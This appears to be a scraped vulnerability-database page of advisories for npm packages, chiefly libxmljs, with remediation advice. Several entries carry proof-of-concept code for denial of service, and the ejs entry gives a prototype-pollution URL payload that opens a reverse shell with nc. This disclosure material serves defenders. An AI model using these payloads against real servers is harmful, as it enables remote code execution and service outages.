Find, fix and prevent vulnerabilities in your code.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Double Free and other issues in the xmlDictComputeFastKey() function, which behaves nondeterministically on empty string inputs.

Remediation

There is no fixed version for libxmljs.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub Release
• RedHat Bugzilla Bug

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Expired Pointer Dereference via 'xmlSchematronGetNode()` function in Schematron validator. An attacker can cause a crash or execute arbitrary code by triggering use of freed memory.

Remediation

There is no fixed version for libxmljs.

References

• Fix Commit
• Red Hat Bugzilla Bug

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Write. An integer overflow in xmlmemory.c in libxml2 before 2.9.5, as used in Google Chrome prior to 62.0.3202.62 and other products, allowed a remote attacker to potentially exploit heap corruption via a crafted XML file.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Chrome Releases

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. Use-after-free vulnerability in libxml2 through 2.9.4, as used in Google Chrome before 52.0.2743.82, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to the XPointer range-to function.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Chrome Release

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. Use after free in libxml2 before 2.9.5, as used in Google Chrome prior to 63.0.3239.84 and other products, allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Chrome Releases

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. There's a flaw in libxml2 in versions before 2.9.11. An attacker who is able to submit a crafted file to be processed by an application linked with libxml2 could trigger a use-after-free. The greatest impact from this flaw is to confidentiality, integrity, and availability.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Seclists Full Disclosure
• Seclists Full Disclosure
• Seclists Full Disclosure

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Expired Pointer Dereference due to a null pointer dereference while processing XPath XML expressions. An attacker can cause a crash and disrupt service availability by sending specially crafted input that triggers the dereference.

Remediation

There is no fixed version for libxmljs.

References

• Fix Commit
• Red Hat Bugzilla Bug

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to NULL Pointer Dereference in the parsing process of specially crafted XML documents when accessing the _ref property on entity_ref and entity_decl nodes. An attacker can cause a segmentation fault and disrupt service availability by submitting malicious XML input.

Remediation

There is no fixed version for libxmljs.

References

• GitHub Advisory
• GitHub Issue
• GitHub Maintenance Thread

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read due to improper namespace processing of sch:name elements in xmlSchematronFormatReport() function. An attacker can cause a denial of service or potentially execute arbitrary code by providing specially crafted XML input.

Remediation

There is no fixed version for libxmljs.

References

• Fix Commit
• Red Hat Bugzilla Bug

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Stack-based Buffer Overflow via the xmlBuildQName function. An attacker can cause a crash and denial of service by supplying specially crafted XML input that triggers an integer overflow and subsequent stack buffer overflow.

Remediation

There is no fixed version for libxmljs.

References

• Fix Commit
• Red Hat Bugzilla Bug
• Release Notes

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free via the xmlXIncludeAddNode function in xinclude.c. An attacker can execute arbitrary code or cause a denial of service by manipulating the memory after it has been freed.

Remediation

There is no fixed version for libxmljs.

References

• GitHub Commit

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

• GitHub Commit

Overview

base64-url Base64 encode, decode, escape and unescape for URL applications.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure. An attacker may extract sensitive data from uninitialized memory or may cause a DoS by passing in a large number, in setups where typed user input can be passed (e.g. from JSON).

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

Remediation

Upgrade base64-url to version 2.0.0 or higher. Note This is vulnerable only for Node <=4

References

• HackerOne Report

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Write. There is a flaw in the xml entity encoding functionality of libxml2 in versions before 2.9.11. An attacker who is able to supply a crafted file to be processed by an application linked with the affected functionality of libxml2 could trigger an out-of-bounds read. The most likely impact of this flaw is to application availability, with some potential impact to confidentiality and integrity if an attacker is able to use memory information to further exploit the application.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Apache Security Advisory
• Apache Security Advisory
• RedHat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser and urlencoded functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.

Remediation

Upgrade body-parser to version 1.20.3 or higher.

References

• GitHub Commit

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Security Advisory
• Nuclei Templates

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. The xmlNextChar function in libxml2 before 2.9.4 allows remote attackers to cause a denial of service (heap-based buffer over-read) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Lists.apple.com

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free via the ID and IDREF attributes, when using the xmlReader interface with validation or when a document is parsed with XML_PARSE_DTDVALID and without XML_PARSE_NOENT. This can lead to the value of ID attributes to not be normalized after potentially expanding entities in xmlRemoveID, which will cause later calls to xmlGetID to return a pointer to previously freed memory.

Remediation

There is no fixed version for libxmljs.

References

• Gitlab Commit
• Nikigiri GHSA
• RedHat Bugzilla Bug

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. Heap-based buffer overflow in the xmlFAParsePosCharGroup function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Lists.apple.com

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. Heap-based buffer overflow in the xmlStrncat function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Lists.apple.com

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• Vulnerable Code

Overview

fresh is HTTP response freshness testing.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade fresh to version 0.5.2 or higher.

References

• https://github.com/jshttp/fresh/commit/21a0f0c2a5f447e0d40bc16be0c23fa98a7b46ec
• https://github.com/jshttp/fresh/issues/24

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS) dict.c in libxml2 allows remote attackers to cause a denial of service (heap-based buffer over-read and application crash) via an unexpected character immediately after the "<!DOCTYPE html" substring in a crafted HTML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Bugzilla.gnome.org

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS). xmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.

Remediation

There is no fixed version for libxmljs.

References

• Cert-portal.siemens.com
• Debian Security Announcement
• GitHub Commit
• GitLab Commit

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS) parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• GitHub Commit
• Xmlsoft.org

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS). When invoking the libxmljs.parseXml function with a non-buffer argument the V8 code will attempt invoking the .toString method of the argument. If the argument's toString value is not a Function object V8 will crash.

PoC:

  let libxmljs = require("libxmljs"); 
  let xml = {toString: 1 }; 
  libxmljs.parseXml(xml);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 0.19.8 or higher.

References

• GitHub Fix Commit
• GitHub PR

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The xmlBufAttrSerializeTxtContent function in xmlsave.c in libxml2 allows context-dependent attackers to cause a denial of service (out-of-bounds read and application crash) via a non-UTF-8 attribute value, related to serialization. NOTE: this vulnerability may be a duplicate of CVE-2016-3627.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

• On Jackson CVEs: Don’t Panic on Medium
• NCC Group Jackson Deserialization WhitePaper
• Java Security Best Practices

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• OSS Security Advisory

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the xmlHTMLPrintFileContext function in xmllint.c. An attacker can read memory contents that may contain sensitive data by triggering a buffer over-read condition.

Remediation

There is no fixed version for libxmljs.

References

• Gitlab Commit
• Gitlab Commit
• Gitlab Issue
• Gitlab Release
• Gitlab Release

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Improper Input Validation. The (1) xmlParserEntityCheck and (2) xmlParseAttValueComplex functions in parser.c in libxml2 2.9.3 do not properly keep track of the recursion depth, which allows context-dependent attackers to cause a denial of service (stack consumption and application crash) via a crafted XML document containing a large number of nested entity references.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• GitHub Commit
• OpenSuse Security Update
• OpenSuse Security Update
• RedHat

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Improper Input Validation. The xmlStringGetNodeList function in tree.c in libxml2 2.9.3 and earlier, when used in recovery mode, allows context-dependent attackers to cause a denial of service (infinite recursion, stack consumption, and application crash) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• OpenSuse Security Update
• OpenSuse Security Update
• RedHat

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Memory Leak xmlParseBalancedChunkMemoryRecover in parser.c in libxml2 before 2.9.10 has a memory leak related to newDoc->oldNs.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Cert-portal.siemens.com
• Debian Security Announcement
• Gitlab.gnome.org

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Memory Leak xmlSchemaPreRun in xmlschemas.c in libxml2 2.9.10 allows an xmlSchemaValidateStream memory leak.

Remediation

There is no fixed version for libxmljs.

References

• GitHub Commit
• GitLab MR

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to NULL Pointer Dereference. A NULL pointer dereference vulnerability exists in the xpath.c:xmlXPathCompOpEval() function of libxml2 through 2.9.8 when parsing an invalid XPath expression in the XPATH_OP_AND or XPATH_OP_OR case. Applications processing untrusted XSL format inputs with the use of the libxml2 library may be vulnerable to a denial of service attack due to a crash of the application.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Gitlab.gnome.org

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. The xmlParseElementDecl function in parser.c in libxml2 before 2.9.4 allows context-dependent attackers to cause a denial of service (heap-based buffer underread and application crash) via a crafted file, involving xmlParseName.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Xmlsoft.org

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. A buffer overflow was discovered in libxml2 20904-GITv2.9.4-16-g0741801. The function xmlSnprintfElementContent in valid.c is supposed to recursively dump the element content definition into a char buffer 'buf' of size 'size'. The variable len is assigned strlen(buf). If the content->type is XML_ELEMENT_CONTENT_ELEMENT, then (i) the content->prefix is appended to buf (if it actually fits) whereupon (ii) content->name is written to the buffer. However, the check for whether the content->name actually fits also uses 'len' rather than the updated buffer length strlen(buf). This allows us to write about "size" many bytes beyond the allocated memory. This vulnerability causes programs that use libxml2, such as PHP, to crash.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• OSS Security Advisory

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds libxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a stack-based buffer overflow. The function xmlSnprintfElementContent in valid.c is supposed to recursively dump the element content definition into a char buffer 'buf' of size 'size'. At the end of the routine, the function may strcat two more characters without checking whether the current strlen(buf) + 2 < size. This vulnerability causes programs that use libxml2, such as PHP, to crash.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• OSS Security Advisory

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read libxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a heap-based buffer over-read in the xmlDictComputeFastKey function in dict.c. This vulnerability causes programs that use libxml2, such as PHP, to crash. This vulnerability exists because of an incomplete fix for libxml2 Bug 759398.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• OSS Security Advisory

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read libxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a heap-based buffer over-read in the xmlDictAddString function in dict.c. This vulnerability causes programs that use libxml2, such as PHP, to crash. This vulnerability exists because of an incomplete fix for CVE-2016-1839.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• OSS Security Advisory

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free in the xmlSchemaItemListAdd() function in xmlschemas.c, which is exploitable by supplying a malicious .xsd schema for validation. it may also be exploitable when an xsd:keyref is provided in combination with recursively defined types that have additional identity constraints, for validation against a non malicious schema.

Remediation

There is no fixed version for libxmljs.

References

• GitHub Commit
• Gitlab Commit
• Gitlab Issue

Overview

mocha is a javascript test framework for node.js & the browser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the clean function in utils.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mocha to version 10.1.0 or higher.

References

• GitHub PR
• GitHub Release

Overview

mocha is a javascript test framework for node.js & the browser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If the stack trace in utils.js begins with a large error message (>= 20k characters), and full-trace is not undisabled, utils.stackTraceFilter() will take exponential time to run.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mocha to version 6.0.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

